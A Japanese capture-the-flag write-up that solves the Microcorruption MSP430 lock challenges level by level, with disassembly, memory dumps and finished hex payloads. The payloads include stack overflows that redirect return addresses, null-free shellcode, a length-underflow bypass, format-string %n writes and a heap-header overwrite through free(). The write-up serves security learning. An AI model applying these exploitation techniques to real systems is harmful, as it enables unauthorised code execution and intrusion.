Write-ups for microcorruption.com
概要
以下の常設CTFのWirte Upとなる。 https://microcorruption.com
この問題を解くときに大変重要になってくるマニュアルをURLは以下に示す。 システムコールやページングの処理、アセンブリ命令等に関する情報が記載されている。 https://microcorruption.com/manual.pdf
Tutorial
これは単にデバッガの動作を覚えるためのものでチュートリアルに従っていき最後に"password"と入力してクリア
New Orleans
create_passwordという関数で入力値を1文字ずつ順に比較している箇所が存在するのでその比較対象文字列を抜き出す。
447e <create_password> 447e: 3f40 0024 mov #0x2400, r15 4482: ff40 6900 0000 mov.b #0x69, 0x0(r15) 4488: ff40 2f00 0100 mov.b #0x2f, 0x1(r15) 448e: ff40 7600 0200 mov.b #0x76, 0x2(r15) 4494: ff40 3600 0300 mov.b #0x36, 0x3(r15) 449a: ff40 7700 0400 mov.b #0x77, 0x4(r15) 44a0: ff40 3600 0500 mov.b #0x36, 0x5(r15) 44a6: ff40 3e00 0600 mov.b #0x3e, 0x6(r15) 44ac: cf43 0700 mov.b #0x0, 0x7(r15) 44b0: 3041 ret
抜き出すと以下の7文字だったので
0x69 0x2f 0x76 0x36 0x77 0x36 0x3e
以下がフラグ(16進数)となる。
692f763677363e
Sydney
check_passwordという関数内部で文字列を比較している箇所があったのでそれを元に考える。
448a <check_password> 448a: bf90 744b 0000 cmp #0x4b74, 0x0(r15) 4490: 0d20 jnz $+0x1c 4492: bf90 6c3a 0200 cmp #0x3a6c, 0x2(r15) 4498: 0920 jnz $+0x14 449a: bf90 2378 0400 cmp #0x7823, 0x4(r15) 44a0: 0520 jne #0x44ac <check_password+0x22> 44a2: 1e43 mov #0x1, r14 44a4: bf90 2f28 0600 cmp #0x282f, 0x6(r15) 44aa: 0124 jeq #0x44ae <check_password+0x24> 44ac: 0e43 clr r14 44ae: 0f4e mov r14, r15 44b0: 3041 ret
cmp命令を箇所で入力値を検証しているようだ。 (以下抜粋)
448a: bf90 744b 0000 cmp #0x4b74, 0x0(r15) 4492: bf90 6c3a 0200 cmp #0x3a6c, 0x2(r15) 449a: bf90 2378 0400 cmp #0x7823, 0x4(r15) 44a4: bf90 2f28 0600 cmp #0x282f, 0x6(r15)
上記の比較値からリトルエンディアンを考慮し以下がフラグ(16進数)となる。
744b6c3a23782f28
Hanoi
実行するとパスワードがなんであれ以下のような出力になることがわかった。
Enter the password to continue. Remember: passwords are between 8 and 16 characters. Testing if password is valid. That password is not correct.
上記の出力を見ると以下のアセンブリ内のアドレス4556まで処理進むことがわかる。
4544: b012 5444 call #0x4454 <test\_password\_valid> 4548: 0f93 tst r15 454a: 0324 jz $+0x8 454c: f240 1b00 1024 mov.b #0x1b, &0x2410 4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15 4556: b012 de45 call #0x45de <puts> 455a: f290 9100 1024 cmp.b #0x91, &0x2410 4560: 0720 jne #0x4570 <login+0x50> 4562: 3f40 f144 mov #0x44f1 "Access granted.", r15 4566: b012 de45 call #0x45de <puts> 456a: b012 4844 call #0x4448 <unlock_door>
よって次の命令である以下の命令から評価されるのだが、アドレス455aの比較命令で同値となって場合unlock_door関数が呼ばれる。
455a: f290 9100 1024 cmp.b #0x91, &0x2410 4560: 0720 jne #0x4570 <login+0x50> 4562: 3f40 f144 mov #0x44f1 "Access granted.", r15 4566: b012 de45 call #0x45de <puts> 456a: b012 4844 call #0x4448 <unlock_door>
上記の比較命令を見ると入力値を17文字目が0x91と比較されているのがわかる。 17文字目を当該値するとunlock_door関数が呼ばれることがわかったので入力値になるフラグ(16進数)は以下となる。
4141414141414141414141414141414191
Cusco
入力値に対してファジングを行うとバッファオーバーフローが起こることがわかった。
以下はレジスタのダンプ
pc 7271 sp 4400 sr 0010 cg 0000 r04 0000 r05 5a08 r06 0000 r07 0000 r08 0000 r09 0000 r10 0000 r11 0000 r12 0000 r13 0000 r14 0000 r15 0000
以下はメモリダンプの抜粋。
43e0: 5645 0300 ca45 0000 0a00 0000 3a45 6162 VE...E......:Eab 43f0: 6364 6566 6768 696a 6b6c 6d6e 6f70 7172 cdefghijklmnopqr 4400: 7374 7500 1542 5c01 75f3 35d0 085a 3f40 stu..B\\.u.5..Z?@
プログラムカウンタを見ると17文字目の値が格納されていることがわかるので、当該箇所に任意のアドレスにセットしたいと思う。 今回はunlock_doorという関数が用意されているので当該関数のアドレスをセットする。(ダンプは以下)
4528: b012 4644 call #0x4446 <unlock_door>
リトルエンディアンを考慮し入力値すなわちフラグ(16進数)は以下となる。
414141414141414141414141414141414644
Johannesburg
まずファジングを行う。
Enter the password to continue. Remember: passwords are between 8 and 16 characters. That password is not correct. Invalid Password Length: password too long.
しっかりと制限されているようだ。 次にバイナリを見ていく。
455c: 0f41 mov sp, r15 455e: b012 5244 call #0x4452 <test\_password\_valid> 4562: 0f93 tst r15 4564: 0524 jz #0x4570 <login+0x44> 4566: b012 4644 call #0x4446 <unlock_door> 456a: 3f40 d144 mov #0x44d1 "Access granted.", r15 456e: 023c jmp #0x4574 <login+0x48> 4570: 3f40 e144 mov #0x44e1 "That password is not correct.", r15 4574: b012 f845 call #0x45f8 <puts> 4578: f190 1400 1100 cmp.b #0x14, 0x11(sp) 457e: 0624 jeq #0x458c <login+0x60> 4580: 3f40 ff44 mov #0x44ff "Invalid Password Length: password too long.", r15 4584: b012 f845 call #0x45f8 <puts> 4588: 3040 3c44 br #0x443c <\_\_stop\_progExec__> 458c: 3150 1200 add #0x12, sp 4590: 3041 ret
上記をよく見ると"That password is not correct."と表示した後に0x4578でスタックの18番目を0x14と比較しており、そこを抜けるとステータスフラグでプログラムを強制終了するstop_progExec関数を回避することができる。 そしてデバッグしていくとretアドレスにはスタックの19 ~ 20番目の値がくるのがわかったので以下の方針で攻撃コード組んでいく。
- まず1 ~ 17番目までは適当な文字列で埋める。
- 18番目に条件分岐をクリアできる0x14をセット。
- そしてリターンアドレスとなる値、ここではunlock_doorのアドレスである0x4446を19 ~ 20番目にセット
上記の攻撃方針で作成したのが以下となり、フラグとなる。
6161616161616161616161616161616161144644
Reykjavik
main関数内でenc関数が呼ばれているのだが当該関数がメモリ上のスタックに命令を展開しているよう。
4438 <main> 4438: 3e40 2045 mov #0x4520, r14 443c: 0f4e mov r14, r15 443e: 3e40 f800 mov #0xf8, r14 4442: 3f40 0024 mov #0x2400, r15 4446: b012 8644 call #0x4486 <enc> 444a: b012 0024 call #0x2400 444e: 0f43 clr r15
current instructionの個所を見ていくと比較命令が現れる。
b490 8b40 dcff cmp #0x408b, -0x24(r4)
-0x24(r4)は入力値の先頭を指しているのでリトルエンディアンに考慮してフラグは以下のようになる。
8b40
Whitehorse
パスワードに長めの文字列長で入力を与えるとバッファオーバーフローを起こしインストラクションポインタに入力値の一部が入る。 入力値から計算すると17~18バイト目の値がインストラクションポインタにきているようなので任意の値に書き換える。
ただ今回はunlook_doorなどの関数が存在しないので入力値としてスタック上にシェルコードを広げ17~18バイト目に入力値の先頭アドレスを渡すことでインストラクションポインタをシェルコードの先頭に移し任意の処理を実行したいと思う。
実行するのはドアを解錠する命令である以下になる。
3012 7f00 push #0x7f b012 3245 call #0x4532 <INT>
入力値が格納されるメモリアドレスは以下。
30d0: 0000 0000 0000 0000 0000 0000 4645 0000 ............FE.. 30e0: 9045 0200 ea30 3000 1245 6161 6161 6161 .E...00..Eaaaaaa 30f0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa 3100: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa 3110: 6161 6161 6161 6161 6161 0000 0000 0000 aaaaaaaaaa......
上記を見ると先頭が0x30eaにきていることがわかる。
これらを踏まえると攻撃コードは以下になる。
30127f00b01232454141414141414141ea30
Montevideo
先ほどと同様にバッファオーバーフローの脆弱性が存在するようだ。(長めの入力値を与えた そして先ほどと同じく17~18バイト目に入力値がきている。
入力値が入るメモリアドレスを調べる。
43e0: 6045 0300 d445 0000 0a00 0000 4445 6162 `E...E......DEab 43f0: 6364 6566 6768 696a 6b6c 6d6e 6f70 7172 cdefghijklmnopqr 4400: 7374 7576 7778 797a 00f3 35d0 085a 3f40 stuvwxyz..5..Z?@
0x43eeからだということがわかったのでそこを始点に命令を展開することにする。
今回もunlock_door等の関数は存在しないので以下の命令を実行する。
3012 7f00 push #0x7f b012 3245 call #0x4532 <INT>
スタック上に命令を展開しインストラクションポインタを移した後、上記のシェルコードを実行する。
これらを踏まえると攻撃コードは以下のようになる。
30127f00b01232454141414141414141ee43
だが上記を実行しても攻撃コードは走らなかった。
43e0: 6045 0300 d445 0000 0a00 0000 4445 3012 `E...E......DE0. 43f0: 7f00 0000 0000 0000 0000 0000 0000 3c44 .............<D
上記のメモリに展開された入力値の始点である0x43eeから見ていくとわかるのだが、7fを最後に入力値が途切れてしまっている。 これはなぜかというと入力文字列に一度strcpy関数をかけており、攻撃コード内にあるNullバイト(0x00)で関数が終了してしまうためである。
これでは上記のようなNullバイトを含むシェルコードは実行できないのでNullバイトを含まないシェルコードを考える。 そしてできたのが以下。
3f40 0x** mov #0x**, r15 6e4f mov.b @r15, r14 0e12 push r14 b012 4c45 call #0x454c <INT>
1行目では任意の値をr15に格納する。これは実際に取得したい値が入っているアドレス番地を指定。 2行目では格納した値をアドレス値として当該番指定アドレス番地に存在する値をr14に格納する。 3行でr14を関数の引数として用いるためプッシュし4行目でシステムコールを呼ぶ。
3f40fd436e4f0e12b0124c457f7f7f7fee43
Santa Cruz
ファジングを行うと妙なことに気づいた。 実行結果は以下。
Authentication now requires a username and password. Remember: both are between 8 and 16 characters. Please enter your username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Please enter your password: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Invalid Password Length: password too short.
ユーザ名及びパスワードは8~16文字と書かれているにも関わらずそれ以上の文字列が出力されており 且つ"password too short"と出ているここに実装のミスが垣間見える。
上記からもう一点わかることがある。 それはユーザ名の入力に対して文字列長のチェックが入っていないことである。
加えて今回はunlock_door(0x444a)という関数が存在しリターンアドレスやシェルコードを展開する際は使用できることがわかる。
上記をふまえた上でバイナリを読んでいく。
まず最初の入力文字列長の確認はパスワード文字列に対して行われる。 (以下当該箇所の抜粋)
45d2: 0e44 mov r4, r14 45d4: 3e50 e8ff add #0xffe8, r14 45d8: 1e53 inc r14 45da: ce93 0000 tst.b 0x0(r14) 45de: fc23 jnz #0x45d8 <login+0x88> # 入力文字列長を算出 45e0: 0b4e mov r14, r11 45e2: 0b8f sub r15, r11 45e4: 5f44 e8ff mov.b -0x18(r4), r15 45e8: 8f11 sxt r15 45ea: 0b9f cmp r15, r11 # 入力文字列が16文字以上でないか 45ec: 0628 jnc #0x45fa <login+0xaa> 45ee: 1f42 0024 mov &0x2400, r15 45f2: b012 2847 call #0x4728 <puts> 45f6: 3040 4044 br #0x4440 <\_\_stop\_progExec__> 45fa: 5f44 e7ff mov.b -0x19(r4), r15 45fe: 8f11 sxt r15 4600: 0b9f cmp r15, r11 # 入力文字列が8文字以下でないか 4602: 062c jc #0x4610 <login+0xc0> 4604: 1f42 0224 mov &0x2402, r15 4608: b012 2847 call #0x4728 <puts> 460c: 3040 4044 br #0x4440 <\_\_stop\_progExec__> 4610: c443 d4ff mov.b #0x0, -0x2c(r4)
上記ではまず0x45d2 ~ 0x45daまでで入力文字列長を算出している。 そして算出した文字列長を最長文字列長を超えていないか、及び最低文字列長未満でないかを0x45e4 ~ 0x45ea、及び0x45fe ~ 0x4600で調べている。 (文字列長が不正だった場合はステータスフラグの特定のビットを立てられプログラムが強制終了してしまう)
ここでその入力文字列の制限に使用している値はメモリ上にあり(0x43b3, 0x43b4)、ユーザ名の入力文字列長の書き換えられることがわかる。 (以下メモリダンプの抜粋)
4390: 0000 d846 0300 4c47 0000 0a00 0000 d045 ...F..LG.......E 43a0: 0000 7361 6d70 6c65 2d75 7365 726e 616d ..sample-usernam 43b0: 6500 0008 1073 616d 706c 652d 7061 7373 e....sample-pass 43c0: 776f 7264 0000 0000 0000 0000 4044 0000 word........@D..
上記からユーザ名の18 ~ 19文字目で上書きすることができることがわかった。
次にドアの開錠を行っている処理を周りをみていく。
4614: 3f40 d4ff mov #0xffd4, r15 4618: 0f54 add r4, r15 461a: 0f12 push r15 461c: 0f44 mov r4, r15 461e: 3f50 e9ff add #0xffe9, r15 4622: 0f12 push r15 4624: 3f50 edff add #0xffed, r15 4628: 0f12 push r15 462a: 3012 7d00 push #0x7d 462e: b012 c446 call #0x46c4 <INT> 4632: 3152 add #0x8, sp 4634: c493 d4ff tst.b -0x2c(r4) 4638: 0524 jz #0x4644 <login+0xf4> 463a: b012 4a44 call #0x444a <unlock_door> 463e: 3f40 2145 mov #0x4521 "Access granted.", r15 4642: 023c jmp #0x4648 <login+0xf8> 4644: 3f40 3145 mov #0x4531 "That password is not correct.", r15 4648: b012 2847 call #0x4728 <puts> 464c: c493 faff tst.b -0x6(r4) 4650: 0624 jz #0x465e <login+0x10e> 4652: 1f42 0024 mov &0x2400, r15 4656: b012 2847 call #0x4728 <puts> 465a: 3040 4044 br #0x4440 <\_\_stop\_progExec__> 465e: 3150 2800 add #0x28, sp 4662: 3441 pop r4 4664: 3b41 pop r11 4666: 3041 ret
ここではまず0x4614 ~ 0x462eでユーザ名及びパスワードを引数にドアの開錠を行う用のシステムコールを呼んでいる。 だが当該システムコールではユーザ名とパスワードを正規のものと一致させる必要がありここではドアの開錠は不可能となる。
そして0x4632 ~ 0x4938だが、ここが少し厄介でパスワードの18文字目がNull文字であるかを確認している。 入力文字列はすべてstrcpy関数でメモリにコピーされるためNull文字を含めて上記の検査を回避することが不可能になる。 ユーザ名やパスワードに長い文字列を用いてリターンアドレスを書き換えてもここで検査されてしまっては処理が止まってしまう。 (ここでも不正と判断された場合は前述と同じ方法を用いてプログラムが強制終了させられてしまう)
ちなみにリターンアドレスの位置はユーザ名の43 ~ 44文字目になる。
4390: 0000 d846 0300 4c47 0000 0a00 0000 d045 ...F..LG.......E 43a0: 0000 7361 6d70 6c65 2d75 7365 726e 616d ..sample-usernam 43b0: 6500 0008 1073 616d 706c 652d 7061 7373 e....sample-pass 43c0: 776f 7264 0000 0000 0000 0000 4044 0000 word........@D..
上記のことを踏まえ以下の流れで攻撃が成立するように攻撃コードを作成した。
- 最初の入力、すなわち文字列長検査のないユーザ名の入力でパスワードの文字列長検査に用いられる値(1, 255 ※00にしてしまうとNullとなりstrcpyで入力がきれてしまうため)及びリターンアドレス(0x463a ※unlock_doorがcallされているアドレス)を書き換える。
- 上記の入力でパスワードの文字列検査を突破する。
- そしてパスワード入力を17文字とし、strcpyの際18文字目にNull文字を配置してもらう。
- 上記の処理によってパスワードの18文字目がNullであることの検査を突破する。
- そして最後login関数を抜ける際に先ほど書き換えたリターンアドレス(unlock_door関数)がプログラムカウンタに格納されドアが開錠される。
上記をふまえると攻撃コードは以下のようになる。
ユーザ名:414141414141414141414141414141414101ff41414141414141414141414141414141414141414141413a46 パスワード4141414141414141414141414141414141
※リトルエンディアンであることと入力文字列のどの位置に何の値がくるかは前述してある通りである。
Addis Ababa
手始めにファジングを行う 出力結果は以下。
Login with username:password below to authenticate. >> AAAAAAAAAAAAAAAAAAA That entry is not valid.
メモリのダンプは以下となる。
2400: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 2410: 4141 4100 0000 0000 0000 0000 0000 0000 AAA.............
入力文字列は100文字入力したのにも関わらず、メモリ及び出力結果は19文字となった。 どこかで制限がされているのだろう。 バイナリを見ていく。
まず気になったのは以下の箇所。
4440: 3012 e644 push #0x44e6 "Login with username:password below to authenticate.\\n" 4444: b012 c845 call #0x45c8 <printf> 4448: b140 1b45 0000 mov #0x451b ">> ", 0x0(sp) 444e: b012 c845 call #0x45c8 <printf> 4452: 2153 incd sp 4454: 3e40 1300 mov #0x13, r14 4458: 3f40 0024 mov #0x2400, r15 445c: b012 8c45 call #0x458c <getsn> 4460: 0b41 mov sp, r11 4462: 2b53 incd r11 4464: 3e40 0024 mov #0x2400, r14 4468: 0f4b mov r11, r15 446a: b012 de46 call #0x46de <strcpy> 446e: 3f40 0024 mov #0x2400, r15 4472: b012 b044 call #0x44b0 <test\_password\_valid> 4476: 814f 0000 mov r15, 0x0(sp) 447a: 0b12 push r11 447c: b012 c845 call #0x45c8 <printf>
0x4454 ~ 0x445cでユーザ入力を受け、その後入力された文字列を0x2400にコピーする。 コピーした文字列を引数にtest_password関数で、ユーザ名及びパスワードをチェックする。 気になったのはその後でユーザが入力した文字列をそのままprintf関数で表示している。 これは書式文字列攻撃の脆弱性を生むパターンである。
ファジングで書式文字列攻撃が可能かを調査する。 入力文字列は"%x,%x,%x"で、出力結果は以下となった。
Login with username:password below to authenticate. >> ,7825,252c That entry is not valid.
上記を見ると攻撃が成功しているのがわかる。 次に書式文字列で表示された文字列がスタックのどこに位置するかを調べる。 文字列として"ABCDEF%x,%x,%x"を渡した結果は以下。
Login with username:password below to authenticate. >> ABCDEF,4241,4443 That entry is not valid.
1つ目の%xは表示されず、2つ目の%xで4241、つまり"AB"が来ていることがわかる。 すなわち最初の2バイトに指定するアドレス、そして2番目の書式文字列に%nを指定することで 任意の場所に任意の値を書き込むことができる。 これを利用し条件分岐で使用されるを書き換える。
もう一度main関数を見る。
446e: 3f40 0024 mov #0x2400, r15 4472: b012 b044 call #0x44b0 <test\_password\_valid> 4476: 814f 0000 mov r15, 0x0(sp) 447a: 0b12 push r11 447c: b012 c845 call #0x45c8 <printf> 4480: 2153 incd sp 4482: 3f40 0a00 mov #0xa, r15 4486: b012 5045 call #0x4550 <putchar> 448a: 8193 0000 tst 0x0(sp) 448e: 0324 jz #0x4496 <main+0x5e> 4490: b012 da44 call #0x44da <unlock_door> 4494: 053c jmp #0x44a0 <main+0x68> 4496: 3012 1f45 push #0x451f "That entry is not valid." 449a: b012 c845 call #0x45c8 <printf> 449e: 2153 incd sp
上記を見ると0x448aで条件分岐が走っており、おそらくtest_password関数の結果が条件値に使用されるのだろう。 0x448aでブレークポイントを置いてメモリのダンプを見る。(以下)
4210: 0000 0000 0000 0000 4c45 0100 5e45 0000 ........LE..^E.. 4220: 4600 4600 4446 0000 2842 0000 4c45 0100 F.F.DF..(B..LE.. 4230: 5e45 0000 0a00 0a00 8a44 0000 4142 4344 ^E.......D..ABCD 4240: 4546 0000 0000 0000 0000 0000 0000 0000 EF..............
spの値は0x423aを指しており入力値の手前であることから入力値では書き換えられないことがわかる。
そこで先ほどの書式文字列攻撃を行う。 先ほどの実行結果では入力文字列の先頭はスタックの2番目に来ていたので、まず書き込み先のアドレスの2バイトを指定(0x423a)、そして必要のないスタックの1番目を指定するために%xを、そして最後に書き込むための書式文字列である%nを指定しスタックの2番目に対して書き込まれるため先ほど指定したアドレスに出力バイトの合計数(2)が書き込まれる。 すなわち書き込む文字列というのは以下のようになる。
"0x423a" + "%x" + "%n"
上記を16進数文字列にすると以下のようになり、フラグとなる。
3a422578256e
Jakarta
実行結果は以下。
Authentication requires a username and password. Your username and password together may be no more than 32 characters. Please enter your username: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Please enter your password: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Invalid Password Length: password too long.
上記を見ても適当な文字列でファジングを行っても特に問題はなく、ユーザ名及びパスワードは合計32文字に制限されている。
ではアセンブリのコードを読んでいく。 まずユーザ名入力の処理。
457e: 3e40 ff00 mov #0xff, r14 4582: 3f40 0224 mov #0x2402, r15 4586: b012 b846 call #0x46b8 <getsn> 458a: 3f40 0224 mov #0x2402, r15 458e: b012 c846 call #0x46c8 <puts> 4592: 3f40 0124 mov #0x2401, r15 4596: 1f53 inc r15 4598: cf93 0000 tst.b 0x0(r15) 459c: fc23 jnz #0x4596 <login+0x36> 459e: 0b4f mov r15, r11 45a0: 3b80 0224 sub #0x2402, r11 45a4: 3e40 0224 mov #0x2402, r14 45a8: 0f41 mov sp, r15 45aa: b012 f446 call #0x46f4 <strcpy> 45ae: 7b90 2100 cmp.b #0x21, r11 45b2: 0628 jnc #0x45c0 <login+0x60> 45b4: 1f42 0024 mov &0x2400, r15 45b8: b012 c846 call #0x46c8 <puts> 45bc: 3040 4244 br #0x4442 <\_\_stop\_progExec__>
入力文字列は0x457eを見るとわかる通りgetsn命令の引数の1つとなるr14に255を設定し最大入力文字長を制限している。 そして入力された文字列長を0x4592 ~ 0x45a0で算出し、調べた文字列長をr11レジスタに格納し0x45aeで32文字をオーバーしていないかをチェックしている。 ただここで気になったのは下位8ビットしか見ていないということ。 入力文字列は255文字までなのでまず繰り上がって下位8ビットが再度0x00に戻ることはないのだがわざわざ下位8ビットのみを比較するのはよくわからない。
次にパスワードの入力箇所を見ていく。
45c8: 3e40 1f00 mov #0x1f, r14 45cc: 0e8b sub r11, r14 45ce: 3ef0 ff01 and #0x1ff, r14 45d2: 3f40 0224 mov #0x2402, r15 45d6: b012 b846 call #0x46b8 <getsn> 45da: 3f40 0224 mov #0x2402, r15 45de: b012 c846 call #0x46c8 <puts> 45e2: 3e40 0224 mov #0x2402, r14 45e6: 0f41 mov sp, r15 45e8: 0f5b add r11, r15 45ea: b012 f446 call #0x46f4 <strcpy> 45ee: 3f40 0124 mov #0x2401, r15 45f2: 1f53 inc r15 45f4: cf93 0000 tst.b 0x0(r15) 45f8: fc23 jnz #0x45f2 <login+0x92> 45fa: 3f80 0224 sub #0x2402, r15 45fe: 0f5b add r11, r15 4600: 7f90 2100 cmp.b #0x21, r15 4604: 0628 jnc #0x4612 <login+0xb2> 4606: 1f42 0024 mov &0x2400, r15 460a: b012 c846 call #0x46c8 <puts> 460e: 3040 4244 br #0x4442 <\_\_stop\_progExec__>
上記ではまず0x45c8 ~ 0x45ccで次にパスワードとして入力できる文字列を計算している。 31から先ほど入力した文字列長を引き最後に0x01ffとandを行うことで下位8ビットが残るので少なくともパスワードが1文字でも入力できるように処理している。 そして0x45ce ~ 0x45d6でパスワードの入力、0x45deでパスワード文字列を表示し、0c45e2 ~ 0x45eaで特定のメモリに文字列をコピーしている。 次に0x45ee ~ 0x4604で入力文字列の長さを算出し。先ほど同様に下位8ビットのみをチェックしている。
ここまでで気になったのはパスワードの文字列長をチェックする箇所で、31から入力文字列長を減算する箇所である。 もし仮に32文字を入力するとどうなるのだろうか。 実際にやってみると31 - 32で結果は-1となりアンダーフローが起こることで0xffffとなった。
上記を考慮し以下のような攻撃方針でエクスプロイトを組んでいく。 - まずユーザ名で32文字入力する。 - 上記ように31 - 32となり結果は0xffffとなる。この状態で0x01ffとandを行うので結果パスワードは511文字入力できるようになる。 - パスワードはほぼ自由な文字列長を入力できる状態なので、パスワード文字列の5~6文字目(ret命令でpcにアドレスとして入る値のアドレス)にセットし、ユーザ名文字列長+パスワード文字列長の下位8ビットが32以下になるように後ろの文字列を調節する。
上記のことを踏まえると攻撃コードは以下のようになる。
$ python -c "print('61'*32)" 6161616161616161616161616161616161616161616161616161616161616161" $ python -c "print('62'*4 + '4c44' + '62'*234)" 626262624c44626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262626262
文字列長の合計は272文字となり下位8ビットは0b00010000で16となり32以下となる。 上記によりステータスフラグを用いて処理を停止させる処理には遷移せず攻撃が成功する。
Novosibirsk
まずファジング。
Enter your username below to authenticate. >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa That username is not valid.
ユーザ名だけを確認しているのだろうか。 ではバイナリを見ていく。
さらっと見て気になったのが以下の個所。
4454: 3e40 f401 mov #0x1f4, r14 4458: 3f40 0024 mov #0x2400, r15 445c: b012 8a45 call #0x458a <getsn> 4460: 3e40 0024 mov #0x2400, r14 4464: 0f44 mov r4, r15 4466: 3f50 0afe add #0xfe0a, r15 446a: b012 dc46 call #0x46dc <strcpy> 446e: 3f40 0afe mov #0xfe0a, r15 4472: 0f54 add r4, r15 4474: 0f12 push r15 4476: b012 c645 call #0x45c6 <printf>
getsn関数で入力された文字列をそのまま出力しているので書式文字列攻撃の脆弱性が存在することがわかる。 では当該脆弱性を試してみる。
"%x,%x,%x,%x,%x,%x,%x"を入力した結果は以下。
Enter your username below to authenticate. >> 7825,252c,2c78,7825,252c,2c78,7825 That username is not valid.
しっかりとスタックの値が表示されているのがわかる。 では当該脆弱性を使用し攻撃コード組んでいく。 今回はユーザ名のチェックに使用されているconditional_unlock_door関数の以下の個所を書き換えたいと思う。
44c6: 3012 7e00 push #0x7e 44ca: b012 3645 call #0x4536 <INT>
上記ではシステムコールに0x7eが渡されているが、これでは引数のユーザ名が正しくある必要がある。 なので、引数を0x7fに書き換え無条件にドアをアンロックする。 引数の値は0x44c8に格納されているので、書き換えるアドレスは当該アドレスになる。
では上記を考慮し攻撃コードを組む。 まず最初の2バイトは書き換え先のアドレスである0x44c8をリトルエンディアンにしたもの、そして適当な文字列を125バイト分セットする。ここまでで127バイトすなわち0x7fバイト分出力されているのでこの後に%nを指定すると最初の2バイトの位置に127(0x7f)が書き込まれるという仕組みだ。 以下が攻撃コードとなり、フラグとなる。
c8446161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161256e
Algiers
実装されている関数の中にmallocが存在していることからheap over flowの脆弱性を考えることができる。 main関数から直接コールされるlogin関数を見る。
malloc関数をコールする際は引数に0x10に取り、当該サイズ分のヒープを確保する。(以下login関数内の抜粋)
463e: 3f40 1000 mov #0x10, r15 4642: b012 6444 call #0x4464 <malloc> 4646: 0a4f mov r15, r10 4648: 3f40 1000 mov #0x10, r15 464c: b012 6444 call #0x4464 <malloc>
に対し、ヒープ領域に展開されるユーザ入力を受け付けるためのgets関数は入力の最大サイズとして0x30を取っているためオーバーフローするのがわかる。(以下login関数内の抜粋)
4662: 3e40 3000 mov #0x30, r14 4666: 0f4a mov r10, r15 4668: b012 0a47 call #0x470a <getsn> 466c: 3f40 c845 mov #0x45c8, r15 4670: b012 1a47 call #0x471a <puts> 4674: 3f40 d445 mov #0x45d4, r15 4678: b012 1a47 call #0x471a <puts> 467c: 3e40 3000 mov #0x30, r14 4680: 0f4b mov r11, r15 4682: b012 0a47 call #0x470a <getsn>
攻撃の方針を立てるためにまずヒープ領域のダンプを見る。(以下ヒープ領域のダンプ)
2400: 0824 0010 0000 0000 0824 1e24 2100 0000 .$.......$.$!... 2410: 0000 0000 0000 0000 0000 0000 0000 0824 ...............$ 2420: 3424 2100 0000 0000 0000 0000 0000 0000 4$!............. 2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
上記ではわかりづらいので以下にダンプを表に示す。
real address | prev pointer | next pointer | flag |
---|---|---|---|
0x2408 | 0x2408 | 0x241e | 0x21 |
0x241e | 0x2408 | 0x2434 | 0x21 |
0x2434 | 0x241e | 0x2408 | 0x1f9c |
上記のように双方向リストになっておりヒープ領域にはヘッダが存在する。
今回はheap overflowの脆弱性を用いてユーザ入力でヒープ領域をヘッダ等を含めて書き換え、そのヒープ領域を解放するために用いられるfree関数が書き換えられたヘッダ情報を参照させ任意のメモリアドレスに任意の値を書き込む。
では次にヒープ領域を解放するために使用されるfree関数の実装を見ていく。
4508: 0b12 push r11 450a: 3f50 faff add #0xfffa, r15 450e: 1d4f 0400 mov 0x4(r15), r13 4512: 3df0 feff and #0xfffe, r13 4516: 8f4d 0400 mov r13, 0x4(r15) 451a: 2e4f mov @r15, r14 451c: 1c4e 0400 mov 0x4(r14), r12 4520: 1cb3 bit #0x1, r12 4522: 0d20 jnz #0x453e <free+0x36> 4524: 3c50 0600 add #0x6, r12 4528: 0c5d add r13, r12 452a: 8e4c 0400 mov r12, 0x4(r14) 452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14) 4534: 1d4f 0200 mov 0x2(r15), r13 4538: 8d4e 0000 mov r14, 0x0(r13) 453c: 2f4f mov @r15, r15 453e: 1e4f 0200 mov 0x2(r15), r14 4542: 1d4e 0400 mov 0x4(r14), r13 4546: 1db3 bit #0x1, r13 4548: 0b20 jnz #0x4560 <free+0x58> 454a: 1d5f 0400 add 0x4(r15), r13 454e: 3d50 0600 add #0x6, r13 4552: 8f4d 0400 mov r13, 0x4(r15) 4556: 9f4e 0200 0200 mov 0x2(r14), 0x2(r15) 455c: 8e4f 0000 mov r15, 0x0(r14) 4560: 3b41 pop r11 4562: 3041 ret
デバッグすると0x452aで値の書き換えがうまく動作することがわかったので当該番地で値の変更が行われるように攻撃コードを組んでいく。
攻撃方針は以下。 まずヒープにシェルコードを展開しヒープのヘッダを書き換える。そしてfree関数実行時リターンアドレスが書き換えられる。 ヒープに展開したシェルコードにプログラムカウンタを移しunlock_door関数と同じことを行う。
以下が攻撃コード及びフラグになる。
30127f00b012b6466161616161616161904300005add
上記の解説は以下。 まず最初の8バイト(30127f00b012b646)はシェルコードで以下のコードを実行する。
4564: 3012 7f00 push #0x7f 4568: b012 b646 call #0x46b6 <INT>
続く8バイト(6161616161616161)はパディングで特に意味は持たない。
